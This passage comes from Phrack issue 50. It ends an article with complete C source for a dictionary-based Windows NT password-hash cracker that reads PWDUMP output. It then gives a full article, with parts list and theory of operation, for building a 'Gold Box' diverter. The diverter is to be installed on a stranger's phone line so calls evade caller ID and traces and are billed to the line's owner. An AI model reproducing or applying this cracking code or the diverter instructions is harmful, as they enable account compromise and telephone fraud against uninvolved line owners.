  7392. For those readers wit da network programming skillz, the hashes themselves
  7393. are enough to comprimise a NT machine from the network.  This is so because
  7394. the authentication protocol used in Windows NT relies on proof of the OWF
  7395. of the password, not the password itself.  This is a whole other can of
  7396. worms we won't get into here.
  7397.  
  7398. The code itself is simple and pretty brain dead.  Some Samba source was
  7399. used to speed up development time, and I would like to give thanks to the
  7400. Samba team for all their effort.  Through the use of, and study of, Samba
  7401. several interesting security weaknesses in Windows NT have been uncovered.
  7402. This was not the intent of the Samba team, and really should be viewed as
  7403. what it is - some lame security implementations on Microsoft's part.  Hey,
  7404. what do you expect from the people that brought you full featured (not in a
  7405. good way, mind you) macro languages in productivity applications?
  7406.  
  7407. You will need md4.c, md4.h, and byteorder.h from the Samba source
  7408. distribution inorder to compile the code here.  It has been compiled and
  7409. tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it
  7410. should not compile and run on your favorite *nix platform.  To truly be
  7411. useful, some code should be added to try permutations of the dictionary
  7412. entry and user name, but again, that is up to the reader.
  7413.  
  7414. One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD 
  7415. at the top and corresponding #else and #endif at the bottom...
  7416.  
  7417. Here ya go:
  7418.  
  7419. <++> NTPWC/ntpwc.c
  7420. /*
  7421.  * (C) Nihil 1997. All rights reserved. A Guild Production.
  7422.  * 
  7423.  * This program is free for commercial and non-commercial use.
  7424.  *
  7425.  * Redistribution and use in source and binary forms, with or without
  7426.  * modification, are permitted.
  7427.  *
  7428.  * THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
  7429.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  7430.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  7431.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  7432.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  7433.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  7434.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  7435.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  7436.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  7437.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  7438.  * SUCH DAMAGE.
  7439.  *
  7440.  */
  7441.  
  7442. /* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */
  7443.  
  7444.  
  7445. /* dictionary based NT password cracker. This is a temporary 
  7446.  * solution until I get some time to do something more 
  7447.  * intelligent. The input to this program is the output of 
  7448.  * Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN 
  7449.  * OWF passwords out of the NT registry and a crack style 
  7450.  * dictionary file. The output of PWDUMP looks 
  7451.  * a bit like UNIX passwd files with colon delimited fields.
  7452.  */
  7453.  
  7454. #include <stdio.h>
  7455. #include <stdlib.h>
  7456. #include <string.h>
  7457. #include <ctype.h>
  7458.  
  7459. /* Samba headers we use */
  7460. #include "byteorder.h"
  7461. #include "md4.h"
  7462.  
  7463. #define TRUE  1
  7464. #define FALSE 0
  7465. #define HASHSIZE 16
  7466.  
  7467. /* though the NT password can be up to 128 characters in theory,
  7468.  * the GUI limits the password to 14 characters.  The only way
  7469.  * to set it beyond that is programmatically, and then it won't
  7470.  * work at the console! So, I am limiting it to the first 14
  7471.  * characters, but you can change it to up to 128 by modifying
  7472.  * MAX_PASSWORD_LENGTH
  7473.  */
  7474. #define MAX_PASSWORD_LENGTH 14
  7475.  
  7476. /* defines for Samba code */
  7477. #define uchar unsigned char
  7478. #define int16 unsigned short
  7479. #define uint16 unsigned short
  7480. #define uint32 unsigned int
  7481.  
  7482. /* the user's info we are trying to crack */
  7483. typedef struct _USER_INFO
  7484. {
  7485.     char*            username;
  7486.     unsigned long    ntpassword[4];
  7487.  
  7488. }USER_INFO, *PUSER_INFO;
  7489.  
  7490. /* our counted unicode string */
  7491. typedef struct _UNICODE_STRING
  7492. {
  7493.     int16*            buffer;
  7494.     unsigned long    length;
  7495.  
  7496. }UNICODE_STRING, *PUNICODE_STRING;
  7497.  
  7498. /* from Samba source cut & pasted here */
  7499. static int _my_mbstowcs(int16*, uchar*, int);
  7500. static int _my_wcslen(int16*);
  7501.  
  7502. /* forward declarations */
  7503. void Cleanup(void);
  7504. int ParsePWEntry(char*, PUSER_INFO);
  7505.  
  7506. /* global variable definition, only reason is so we can register an
  7507.  * atexit() fuction to zero these for paranoid reasons
  7508.  */
  7509. char pPWEntry[258];        
  7510. char pDictEntry[129];   /* a 128 char password? yeah, in my wet dreams */
  7511. MDstruct MDContext;        /* MD4 context structure */
  7512.  
  7513.  
  7514. int main(int argc,char *argv[])
  7515. {
  7516.     FILE *hToCrack, *hDictionary;
  7517.     PUSER_INFO pUserInfo;
  7518.     PUNICODE_STRING pUnicodeDictEntry;
  7519.     int i;
  7520.     unsigned int uiLength;
  7521.  
  7522.     /* register exit cleanup function */
  7523.     atexit(Cleanup);
  7524.  
  7525.     /* must have both arguments */
  7526.     if (argc != 3) 
  7527.     {
  7528.         printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);
  7529.         exit(0);
  7530.     }
  7531.  
  7532.     /* open password file */
  7533.     hToCrack = fopen(argv[1], "r");
  7534.     if (hToCrack == NULL)
  7535.     {
  7536.         fprintf(stderr,"Unable to open password file\n");
  7537.         exit(-1);
  7538.     }
  7539.     
  7540.     /* open dictionary file */
  7541.     hDictionary = fopen(argv[2], "r");
  7542.     if (hDictionary == NULL)
  7543.     {
  7544.         fprintf(stderr,"Unable to open dictionary file\n");
  7545.         exit(-1);
  7546.     }
  7547.  
  7548.     /* allocate space for our user info structure */
  7549.     pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
  7550.     if (pUserInfo == NULL)
  7551.     {
  7552.         fprintf(stderr,"Unable to allocate memory for user info structure\n");
  7553.         exit(-1);
  7554.     }
  7555.  
  7556.     /* allocate space for unicode version of the dictionary string */
  7557.     pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
  7558.     if (pUnicodeDictEntry == NULL)
  7559.     {
  7560.         fprintf(stderr,"Unable to allocate memory for unicode conversion\n");
  7561.         free(pUserInfo);
  7562.         exit(-1);
  7563.     }
  7564.  
  7565.     /* output a banner so the user knows we are running */
  7566.     printf("\nCrack4NT is running...\n");
  7567.     
  7568.     /* as long as there are entries in the password file read
  7569.      * them in and crack away */
  7570.     while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
  7571.     {
  7572.         /* parse out the fields and fill our user structure */
  7573.         if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
  7574.         {
  7575.             continue;
  7576.         }
  7577.  
  7578.         /* reset file pointer to the beginning of the dictionary file */
  7579.         if (fseek(hDictionary, 0, SEEK_SET))
  7580.         {
  7581.             fprintf(stderr,"Unable to reset file pointer in dictionary\n");
  7582.             memset(pUserInfo->ntpassword, 0, HASHSIZE);
  7583.             free(pUserInfo);
  7584.             free(pUnicodeDictEntry);
  7585.             exit(-1);
  7586.         }
  7587.         
  7588.         /* do while we have new dictionary entries */
  7589.         while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
  7590.         {
  7591.             /* doh...fgets is grabbing the fucking newline, how stupid */
  7592.             if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')
  7593.             {
  7594.                 pDictEntry[(strlen(pDictEntry) - 1)] = '\0';
  7595.             }
  7596.  
  7597.             /* the following code is basically Jeremy Allison's code written
  7598.              * for the Samba project to generate the NT OWF password.  For
  7599.              * those of you who have accused Samba of being a hacker's
  7600.              * paradise, get a fucking clue.  There are parts of NT security
  7601.              * that are so lame that just seeing them implemented in code
  7602.              * is enough to break right through them.  That is all that
  7603.              * Samba has done for the hacking community.
  7604.              */
  7605.  
  7606.             /* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
  7607.             uiLength = strlen((char *)pDictEntry);
  7608.             if(uiLength > MAX_PASSWORD_LENGTH)
  7609.                 uiLength = MAX_PASSWORD_LENGTH;
  7610.  
  7611.             /* allocate space for unicode conversion */
  7612.             pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);
  7613.     
  7614.             /* allocate space for it */
  7615.             pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
  7616.             if (pUnicodeDictEntry->buffer == NULL)
  7617.             {
  7618.                 fprintf(stderr,"Unable to allocate space for unicode string\n");
  7619.                 exit(-1);
  7620.             }
  7621.             
  7622.             /* Password must be converted to NT unicode */
  7623.             _my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
  7624.             /* Ensure string is null terminated */
  7625.             pUnicodeDictEntry->buffer[uiLength] = 0; 
  7626.             
  7627.             /* Calculate length in bytes */
  7628.             uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);
  7629.  
  7630.             MDbegin(&MDContext);
  7631.             for(i = 0; i + 64 <= (signed)uiLength; i += 64)
  7632.                 MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
  7633.             MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);
  7634.  
  7635.             /* end of Samba code */
  7636.  
  7637.             /* check if dictionary entry hashed to the same value as the user's
  7638.              * NT password, if so print out user name and the corresponding
  7639.              * password
  7640.              */
  7641.             if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
  7642.             {
  7643.                 printf("Password for user %s is %s\n", pUserInfo->username, \
  7644.                        pDictEntry);
  7645.                 /* we are done with the password entry so free it */
  7646.                 free(pUnicodeDictEntry->buffer);
  7647.                 break;
  7648.             }
  7649.  
  7650.             /* we are done with the password entry so free it */
  7651.             free(pUnicodeDictEntry->buffer);
  7652.         }
  7653.     }
  7654.  
  7655.     /* cleanup a bunch */
  7656.     free(pUserInfo->username);
  7657.     memset(pUserInfo->ntpassword, 0, HASHSIZE);
  7658.     free(pUserInfo);
  7659.     free(pUnicodeDictEntry);
  7660.  
  7661.     /* everything is great */
  7662.     printf("Crack4NT is finished\n");
  7663.     return 0;
  7664. }
  7665.  
  7666. void Cleanup()
  7667. {
  7668.     memset(pPWEntry, 0, 258);
  7669.     memset(pDictEntry, 0, 129);
  7670.     memset(&MDContext.buffer, 0, HASHSIZE);
  7671. }
  7672.  
  7673.  
  7674. /* parse out user name and OWF */
  7675. int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
  7676. {
  7677.     int HexToBin(char*, uchar*, int);
  7678.     
  7679.     char pDelimiter[] = ":";
  7680.     char* pTemp;
  7681.     char pNoPW[] = "NO PASSWORD*********************";
  7682.     char pDisabled[] = "********************************";
  7683.  
  7684.     /* check args */
  7685.     if (pPWEntry == NULL || pUserInfo == NULL)
  7686.     {
  7687.         return FALSE;
  7688.     }
  7689.     
  7690.     /* try and get user name */
  7691.     pTemp = strtok(pPWEntry, pDelimiter);
  7692.     if (pTemp == NULL)
  7693.     {
  7694.         return FALSE;
  7695.     }
  7696.  
  7697.     /* allocate space for user name in USER_INFO struct */
  7698.     pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
  7699.     if (pUserInfo->username == NULL)
  7700.     {
  7701.         fprintf(stderr,"Unable to allocate memory for user name\n");
  7702.         return FALSE;
  7703.     }
  7704.  
  7705.     /* get the user name into the USER_INFO struct */
  7706.     strcpy(pUserInfo->username, pTemp);
  7707.  
  7708.     /* push through RID and LanMan password entries to get to NT password */
  7709.     strtok(NULL, pDelimiter);
  7710.     strtok(NULL, pDelimiter);
  7711.  
  7712.     /* get NT OWF password */
  7713.     pTemp = strtok(NULL, pDelimiter);
  7714.     if (pTemp == NULL)
  7715.     {
  7716.         free(pUserInfo->username);
  7717.         return FALSE;
  7718.     }
  7719.  
  7720.     /* do a sanity check on the hash value */
  7721.     if (strlen(pTemp) != 32)
  7722.     {
  7723.         free(pUserInfo->username);
  7724.         return FALSE;
  7725.     }
  7726.  
  7727.     /* check if the user has no password - we return FALSE in this case to avoid
  7728.      * unnecessary crack attempts
  7729.      */
  7730.     if (strcmp(pTemp, pNoPW) == 0)
  7731.     {
  7732.         printf("User %s has no password\n", pUserInfo->username);
  7733.         return FALSE;
  7734.     }
  7735.  
  7736.     /* check if account appears to be disabled - again we return FALSE */
  7737.     if (strcmp(pTemp, pDisabled) == 0)
  7738.     {
  7739.         printf("User %s is disabled most likely\n", pUserInfo->username);
  7740.         return FALSE;
  7741.     }
  7742.  
  7743.     /* convert hex to bin */
  7744.     if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
  7745.     {
  7746.         free(pUserInfo->username);
  7747.         return FALSE;
  7748.     }
  7749.  
  7750.     /* cleanup */
  7751.     memset(pTemp, 0, 32);
  7752.  
  7753.     return TRUE;
  7754. }
  7755.  
  7756.  
  7757. /* just what it says, I am getting tired
  7758.  * This is a pretty lame way to do this, but it is more efficent than
  7759.  * sscanf()
  7760.  */
  7761. int HexToBin(char* pHexString, uchar* pByteString, int count)
  7762. {
  7763.      int i, j;
  7764.  
  7765.      if (pHexString == NULL || pByteString == NULL)
  7766.      {
  7767.         fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");
  7768.         return FALSE;
  7769.      }
  7770.      
  7771.      /* clear the byte string */
  7772.      memset(pByteString, 0, count);
  7773.      
  7774.      /* for each hex char xor the byte with right value, we are targeting
  7775.       * the low nibble
  7776.       */
  7777.      for (i = 0, j = 0; i < (count * 2); i++)
  7778.      {
  7779.          switch (*(pHexString + i))
  7780.          {
  7781.             case '0': pByteString[j] ^= 0x00;
  7782.                 break;
  7783.  
  7784.             case '1': pByteString[j] ^= 0x01;
  7785.                 break;
  7786.  
  7787.             case '2': pByteString[j] ^= 0x02;
  7788.                 break;
  7789.  
  7790.             case '3': pByteString[j] ^= 0x03;
  7791.                 break;
  7792.  
  7793.             case '4': pByteString[j] ^= 0x04;
  7794.                 break;
  7795.  
  7796.             case '5': pByteString[j] ^= 0x05;
  7797.                 break;
  7798.  
  7799.             case '6': pByteString[j] ^= 0x06;
  7800.                 break;
  7801.  
  7802.             case '7': pByteString[j] ^= 0x07;
  7803.                 break;
  7804.  
  7805.             case '8': pByteString[j] ^= 0x08;
  7806.                 break;
  7807.  
  7808.             case '9': pByteString[j] ^= 0x09;
  7809.                 break;
  7810.  
  7811.             case 'a':
  7812.             case 'A': pByteString[j] ^= 0x0A;
  7813.                 break;
  7814.  
  7815.             case 'b':
  7816.             case 'B': pByteString[j] ^= 0x0B;
  7817.                 break;
  7818.  
  7819.             case 'c':
  7820.             case 'C': pByteString[j] ^= 0x0C;
  7821.                 break;
  7822.  
  7823.             case 'd':
  7824.             case 'D': pByteString[j] ^= 0x0D;
  7825.                 break;
  7826.  
  7827.             case 'e':
  7828.             case 'E': pByteString[j] ^= 0x0E;
  7829.                 break;
  7830.  
  7831.             case 'f':
  7832.             case 'F': pByteString[j] ^= 0x0F;
  7833.                 break;
  7834.  
  7835.             default: fprintf(stderr,"invalid character in NT MD4 string\n");
  7836.                      return FALSE;
  7837.          }
  7838.  
  7839.          /* I think I need to explain this ;) We want to incremet j for every
  7840.           * two characters from the hex string and we also want to shift the 
  7841.           * low 4 bits up to the high 4 just as often, but we want to alternate
  7842.           * The logic here is to xor the mask to set the low 4 bits, then shift
  7843.           * those bits up and xor the next mask to set the bottom 4. Every 2
  7844.           * hex chars for every one byte, get my screwy logic? I never was
  7845.           * good at bit twiddling, and sscanf sucks for efficiency :(
  7846.           */
  7847.          if (i%2)
  7848.          {
  7849.             j ++;
  7850.          }
  7851.          if ((i%2) == 0)
  7852.          {
  7853.             pByteString[j] <<= 4;
  7854.          }
  7855.      }
  7856.  
  7857.      return TRUE;
  7858. }
  7859.  
  7860.  
  7861. /* the following functions are from the Samba source, and many thanks to the 
  7862.  * authors for their great work and contribution to the public source tree
  7863.  */
  7864.  
  7865. /* Routines for Windows NT MD4 Hash functions. */
  7866. static int _my_wcslen(int16 *str)
  7867. {
  7868.     int len = 0;
  7869.     while(*str++ != 0)
  7870.         len++;
  7871.     return len;
  7872. }
  7873.  
  7874. /*
  7875.  * Convert a string into an NT UNICODE string.
  7876.  * Note that regardless of processor type 
  7877.  * this must be in intel (little-endian)
  7878.  * format.
  7879.  */
  7880.  static int _my_mbstowcs(int16 *dst, uchar *src, int len)
  7881. {
  7882.     int i;
  7883.     int16 val;
  7884.  
  7885.     for(i = 0; i < len; i++) {
  7886.         val = *src;
  7887.         SSVAL(dst,0,val);
  7888.         dst++;
  7889.         src++;
  7890.         if(val == 0)
  7891.             break;
  7892.     }
  7893.     return i;
  7894. }
  7895. <--> NTPWC/ntpwc.c
  7896.  
  7897. EOF
  7898.                                 .oO Phrack 50 Oo.
  7899.  
  7900.                             Volume Seven, Issue Fifty
  7901.  
  7902.                                      9 of 16
  7903.  
  7904.                                 SS7 based diverter
  7905.  
  7906.                       The MasterMiiND <miind@geocities.com>
  7907.  
  7908.  
  7909. Brief Description:
  7910. ------------------
  7911.  
  7912. Hey everyone, well I've spent some time now designing a Diverter, and finally 
  7913. came up with a foolproof design.  After building every diverter plan I could
  7914. find, and finding that they didn't work under the switching systems of our
  7915. day (not surprising, seeing how all the plans are like ten years old) I 
  7916. decided something needed to be done.  Well, I thought I'd share this new 
  7917. diverter with everyone, so we can all have phun again, until they change the 
  7918. system again.
  7919.  
  7920. Also called a "Gold Box", a diverter allows somebody to call one predetermined
  7921. telephone number, and then get a dial tone from another predetermined phone
  7922. line.  It is like calling a direct in-dial (DID) line on a PBX and getting a
  7923. dial tone.  The main difference is, that YOU actually built the device, and
  7924. you don't have to enter authorization codes to get the dial tone.
  7925.  
  7926. Uses:
  7927. -----
  7928.  
  7929. You can setup a diverter so that you can call pseudo-anonymously.  That is,
  7930. you call the diverter, and then call out of the second line.  That way, if
  7931. anybody checks their caller ID unit, the number of the second line, and not
  7932. your own line will show up.  Also, if they decide to activate a trace, then
  7933. the telco and the police will get the wrong number.
  7934.  
  7935. Another reason for setting up a diverter of course, is to avoid paying for
  7936. telephone calls.  Any, and all calls you make on a diverter, are billed to
  7937. the owner of the second line.  This means, that if you call your Aunt Jemima
  7938. in the Outer Hebrides for 10 minutes, then the owner of the line you used will
  7939. get her number, and be able to call her up and ask who called her at the time
  7940. and date stated on their bill.  Now, if she is your average Aunt Jemima, then 
  7941. she will most likely say, 'Oh, that was my nephew, Michael.  His number is
  7942. 555-2357'.  But if she is cool, like MY Aunt Jemima, she would say something
  7943. like 'Hmm, let me see...oh yes, that was a telemarketer from the USA, trying
  7944. to sell me a used vacuum cleaner.'  Anyway, my point is, that every billable
  7945. call you make, will show up on their bill.  For that reason, it is best suited
  7946. to call stuff that you don't care too much about.  Setting up teleconferences,
  7947. calling long distance BBS's, phone sex, and maybe even long distance scanning
  7948. are all good uses for the diverter.
  7949.  
  7950. Technical Description:
  7951. ----------------------
  7952.  
  7953. Ok, so you want to make a diverter?  Well, before you set out designing a
  7954. diverter, there are some basic properties of the Signaling System 7 (SS7)
  7955. telephone system that you should be aware of.  Previous plans for diverters
  7956. have been release in the past, but as those of you who tried to make one have
  7957. realized, they do not work under SS7.  Generally, these plans are around ten
  7958. years old, and were designed for older switching systems such as Step by Step
  7959. (SxS) and CrossBar (xbar).  The diverter that I have come up with, has been
  7960. tested under GTD-5 EAX, and DMS-100 switches.  Because the signaling used by
  7961. these switches, and the #5ESS are the same, it is safe to assume the diverter
  7962. would work under #5ESS, although I can't say for sure, as I haven't been able
  7963. to test it out.  If someone gets one working under an AT&T switch, please
  7964. drop me a line, because I would be really interested in how it worked, and
  7965. what, if any, changes had to be made.  Ok, enough nonsense from me!
  7966.  
  7967. When your telephone is in it's normal on-hook state, there is approximately
  7968. 48VDC across the ring and tip.  When you pick up your phone, the voltage
  7969. drops down to about 6-10VDC.  This is because taking your phone off-hook
  7970. causes a closed circuit across the ring and tip, through your telephone.
  7971. Doing so, causes the CO's equipment to sense you have taken your telephone
  7972. off-hook, and send you a dial tone to tell you it is ready to receive dialing
  7973. instructions.  Ok, now, suppose your phone is on-hook.  Your Aunt Jemima calls
  7974. you up.  How does the CO alert you to this?  Well, they send a ring signal to
  7975. your line.  This is a 90-130VAC signal, that is approximately 20Hz in
  7976. frequency.  This is pulsed on for 2 seconds, then off for 4 seconds.  This is
  7977. then repeated for a predetermined amount of time, or until you pick up your
  7978. phone.  The amount of time a phone will ring, if you don't pick up your phone
  7979. depends on how your phriends at the CO programmed the switch.  The reason why
  7980. it has a time limit for a ring out, is for two main reasons.  First of all,
  7981. it takes a lot of equipment resources and power in the CO to ring a phone.
  7982. And secondly, to put an end to phreaker's "Black Boxes" that would depend on
  7983. the switches ability to ring a phone for ever, if it wasn't picked up...
  7984.  
  7985. Ok, now you pick up your ringing phone.  This causes voltage to flow from the
  7986. tip through your phone to the ring.  This causes the CO's switching equipment
  7987. to stop sending the ringing signal, and then drops the voltage down to around
  7988. 6-10VDC.  An audio path is then opened between your Aunt Jemima and you.  Now, 
  7989. after about 10 minutes of speaking with her, your Aunt Jemima shouts: 
  7990. 'Oh no...my pancakes are burning...gota go...' and hangs up on you.  But you,
  7991. being the phreak that you are, stay on the line.  You listen carefully, but
  7992. hear nothing but the silence of linenoise.  Then, after about 10 seconds,
  7993. the CO sends a disconnect signal to your line.  This disconnect signal is
  7994. simply a reversal of polarity between the ring and tip for about 1 second.
  7995. When the polarity is first reversed, you hear a click in the earpiece of the
  7996. phone.  Then, when the polarity is reversed again, you hear another click.
  7997. The voltage is back at 6-10VDC, and the polarity is just as if you had just
  7998. picked up your phone.  Now, if you stay on the line for about 30 seconds
  7999. longer, the CO will send an off-hook signal, which is a very special signal.
  8000. It is a MF signal that consists of 1400Hz & 2060Hz & 2450Hz & 2600Hz tone
  8001. pulsed on 0.1 second on, and 0.1 second off.  That is the very loud and
  8002. annoying sound you hear if you leave your phone off-hook.
  8003.  
  8004. Ok, those are the basic properties of the SS7 telephone system you need to
  8005. know, to understand how the diverter works.  I've spent a little of my time
  8006. drawing a schematic in GIF format, and you will find it uuencoded at the end
  8007. of this file, so please decode it first, and load it up in your favorite
  8008. image viewer, while you read the next part.  It really helps to follow the
  8009. schematic, while reading the white paper.  After all, anybody can follow
  8010. simple instructions on how to make a diverter, but I would prefer you all
  8011. understand how it works.  I wouldn't want to think I wasted my time on this
  8012. little project ;-)
  8013.  
  8014. Parts List:
  8015. -----------
  8016.  
  8017. (1) DPDT relay (5VDC Coil Rating)
  8018. (1) 600 Ohm:600 Ohm transformer (Telecom Isolation Type)
  8019. (1) 2N3904 transistor (NPN, Small Signal type)
  8020. (1) Opto-Isolator pair (IR LED/Phototransistor Type)
  8021. (1) 22K Ohm resistor (1/4W, 5%)
  8022. (1) 470 Ohm resistor (1/4W, 5%)
  8023. (4) 1N4003 diodes (200 PIV)
  8024. (1) 7805 IC (5VDC, Positive Voltage Regulator)
  8025. (1) 0.33uF capacitor (Mylar Type, microfarad)
  8026.  
  8027. Parts Notes:
  8028. ------------
  8029.  
  8030. The transformer is the type you would find in an answering machine, but can be
  8031. picked up for around $7.00.  The opto-isolator is a slotted pair.  That is,
  8032. they are housed in a plastic assembly, that has an IR LED facing onto a photo-
  8033. transistor, with a slot in between them.  The slot is designed for a rotating
  8034. wheel or something similar, but doesn't affect the design at all.  A true
  8035. opto-isolator could be used instead, I guess, but the only ones I could find
  8036. where photodarlington types, and I couldn't really be bothered with them.
  8037. Besides, I happen to think the slotted pair look cooler! ;-)
  8038.  
  8039. Anyhow, in my diverter, I replaced the 4 diodes with a full wave bridge
  8040. rectifier in a 4 pin DIP.  It was smaller, and again, it looked cooler.
  8041. The 7805 is a voltage regulator IC.  It has 3 pins, and can be found almost
  8042. anywhere.  Lastly, the capacitor is just a regular mylar device.  If the value
  8043. is higher than 0.4uF, then the diverter will activate with line noise on line
  8044. #1, or if someone picks up line #1, or if the pulse dial!  If it is less than
  8045. 0.2uF, then line #1 will ring a couple of times before the diverter picks up.
  8046. Best advice is to simply use a 0.33uF capacitor.  Other stuff you will need is
  8047. hook up wire, plugs and connectors, some sort of protoboard, and a box.  This
  8048. part is up to you, and is where you get to show your phriends at the next 2600
  8049. meeting your creativity.  Using a Rubbermaid (tm) tub is pretty creative.  I
  8050. just went with a plain project box from Hammond (tm).  Ah well...
  8051.  
  8052. Schematic:
  8053. ----------
  8054.  
  8055. NO ASCII SCHEMATICS FOR YOU!   DECODE THE GIF AT THE END OF THIS FILE INSTEAD!
  8056.  
  8057. Theory of Operation:
  8058. --------------------
  8059.  
  8060. Ok, looking at the schematic, we see RED #1, GREEN #1, RED #2 and GREEN #2.
  8061. Obviously, these are the two lines.  Now, line #1 is going to be the line
  8062. that we initially call into to get the dial tone, and line #2 is going to be
  8063. the line of the dial tone that we actually get.
  8064.  
  8065. We see that in the normal state, the DPDT relay is not activated.  This
  8066. presents an open circuit to line #2.  Current cannot flow from GREEN #2 to
  8067. RED #2, because of the open relay.  Thus, line #2 is in the on-hook state.
  8068. The same is the case for line #1.  Current cannot flow from GREEN #1 to RED #1
  8069. because of the open relay contacts.  Also, because the voltage across the two
  8070. wires is 48VDC, the direct current is blocked by the capacitor, C1.  Thus, 
  8071. current from line #1 cannot enter the rectifier either.  In the normal state,
  8072. both lines #1 and #2 are on-hook.
  8073.  
  8074. Now, you dial up the number for line #1.  The 48VDC, becomes a ringing signal
  8075. of 90-130VAC @ 20Hz.  This causes an alternating current to pass the capacitor
  8076. C1, and into the full wave bridge rectifier.  This causes a DC voltage to
  8077. appear on the output of the rectifier, which flows through the IR LED in the
  8078. opto-isolator, lighting it up.  As the IR light hits the phototransistor,
  8079. the phototransistor's collector current starts to flow.  This causes the
  8080. second transistor's base current to flow.  This causes the transistor's
  8081. collector current to flow, which turns on the DPDT relay.  Now, as the relay
  8082. turns on, current can now flow from GREEN #1 through D1 in the full wave
  8083. bridge rectifier, through the IR LED in the opto-isolator and it's current
  8084. limiting resistor, through one half of the DPDT relay's contacts, through one
  8085. winding of the transformer, and to the RED #1.  Also, at the same time, we now
  8086. have current flowing from GREEN #2 through the second half of the DPDT relay's
  8087. contacts, through the other winding of the transformer, and to RED #2.
  8088.  
  8089. In effect, the diverter is picking up both lines.  Now, you would think that
  8090. if the diverter picked up both lines, then the ringing signal would stop on
  8091. line #1, and the IR LED would turn off, thus turning off the whole circuit.
  8092. Well, this is partially correct.  However, notice that line #1 is now flowing
  8093. THROUGH the IR LED, which keeps it on!  So, the ring signal initially turns on 
  8094. the IR LED, and the off-hook current of about 6-10VDC keeps it on!
  8095.  
  8096. So, now, you are connected to line #1.  Line #2 is off-hook as well, and both
  8097. line #1 and line #2 are being bridged via the transformer.  Thus, any and all
  8098. audio is passed between both lines.  What this means is that you get the dial
  8099. tone from line #2, and you can send your DTMF's from line #1.
  8100.  
  8101. Ok, now you make your call.  Now, you hang up on line #1.  Now, for about 10
  8102. seconds, the diverter stays active.  But then, the CO sends a disconnect
  8103. signal to line #1.  If you remember back, this is just a reversal of polarity
  8104. between the ring and tip, that is the GREEN #1 and RED #1.  Doing so, the
  8105. IR LED, being a polarity sensitive device, turns off.  This causes the
  8106. phototransistor's collector current to goto zero. This causes the transistor's
  8107. base current to goto zero as well, and as a result, the transistor's collector
  8108. current goes to zero as well, thus turning off the relay, and putting both
  8109. line #1 and line #2 on-hook again.  The diverter is now ready for another
  8110. call.  There...simple huh?
  8111.  
  8112. Special Notes:
  8113. --------------
  8114.  
  8115. The diverter can be installed anywhere you have access to 2 lines.  Obviously,
  8116. green base's, can's, telephone pole's, network interface's etc... are all prime
  8117. locations for the diverter.  Now, you need a lineman's handset or a "Beige Box"
  8118. and access to an ANI read back circuit, in order to determine the numbers of
  8119. the line's you are using.
  8120.  
  8121. Once the device is installed, anyone and everyone calling line #1 will receive
  8122. a dial tone.  This means that you cannot simply leave the device installed for
  8123. a whole month.  That is, unless you manage to find a line that is unpublished
  8124. and used for outgoing calls or something.  An example is a corporate data line
  8125. used by a local (unnamed) fast food restaurant that sends payroll data at
  8126. night, once a week.  You get your diverter on this line, and you could leave
  8127. it there for a while.
  8128.  
  8129. Also, it is a good idea, once you get the dial tone, to use calling cards, or
  8130. third party calling to complete your call.  That way, your calls don't show up
  8131. on line #2's bill right away.  Usually, it will show up on the next bill of
  8132. the person you third party'd, and it will take another month or two to reach
  8133. the bill of line #2.  However, line #2 will also get service charges for the
  8134. third party, so their bill will be even higher than if you just used their
  8135. line directly.
  8136.  
  8137. Ok, as for the circuit...I've gotten into a habit of designing all my circuits
  8138. to operate at 5VDC.  Although this isn't too necessary in this circuit, it
  8139. makes it totally TTL and CMOS compatible, should you want add digital gating
  8140. and other fancy stuff to the basic diverter.  Well, that's enough rambling from
  8141. me for now...go and get yourself some parts!
  8142.  
  8143. Shout Out's:
  8144. ------------
  8145.  
  8146. Shout's to the Vancouver, BC hack community...you know who you are...
  8147. Shout's to all the guys at Phrack...keep the legend going....
  8148. Shout's to the Niagara Falls, ON hack community...(IS there one?)
  8149. Hell, shout's to the whole damn community...we're still alive and kicking
  8150. right!
  8151.  
  8152. Oh yeah, I can't miss out our beloved BC Tel!  Keep those rates increasing,
  8153. and keep installing those ultra fancy NorTel Millenium's in the high vandalism
  8154. and high crime areas!
  8155.  
  8156. That's all folks...
  8157.  
  8158. =[MasterMiiND]=
  8159.  
  8160. ==============================BEGIN UUENCODED GIF=============================
  8161.  
